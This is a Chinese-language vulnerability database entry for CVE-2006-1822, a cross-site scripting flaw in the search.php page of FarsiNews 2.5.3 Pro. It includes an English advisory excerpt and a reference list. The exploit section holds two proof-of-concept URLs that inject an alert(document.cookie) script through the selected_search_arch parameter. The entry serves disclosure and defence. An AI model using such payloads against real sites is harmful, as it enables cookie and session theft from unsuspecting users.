FarsiNews Search.PHP 跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110065 漏洞类型 跨站脚本
发布时间 2006-04-14 更新时间 2006-04-19
CVE编号 CVE-2006-1822 CNNVD-ID CNNVD-200604-269
漏洞平台 PHP CVSS评分 5.8
|漏洞来源
https://www.exploit-db.com/exploits/27650
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-269
|漏洞详情
FarsiNews2.5.3Pro及早期版本中的search.php存在跨站脚本攻击漏洞。这使得远程攻击者可以借助于selected_search_arch参数注入任意Web脚本或HTML。
|漏洞EXP
source: http://www.securityfocus.com/bid/17534/info

FarsiNews is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[farsinews_path]/search.php?selected_search_arch=><script>alert(document.cookie)</script><!--
http://www.example.com/[farsinews_path]/search.php?selected_search_arch=%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--
|参考资料

来源:BID
名称:17534
链接:http://www.securityfocus.com/bid/17534
来源:BUGTRAQ
名称:20060414FarsinewsCross-SiteScripting&Pathdisclosurevulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/431011/100/0/threaded
来源:MISC
链接:http://www.aria-security.net/advisory/farsinews/farsinews042006.txt
来源:SECTRACK
名称:1015943
链接:http://securitytracker.com/id?1015943
来源:XF
名称:farsinews-search-xss(25833)
链接:http://xforce.iss.net/xforce/xfdb/25833
来源:VUPEN
名称:ADV-2006-1411
链接:http://www.frsirt.com/english/advisories/2006/1411
来源:SREASON
名称:710
链接:http://securityreason.com/securityalert/710
来源:SECUNIA
名称:19648
链接:http://secunia.com/advisories/19648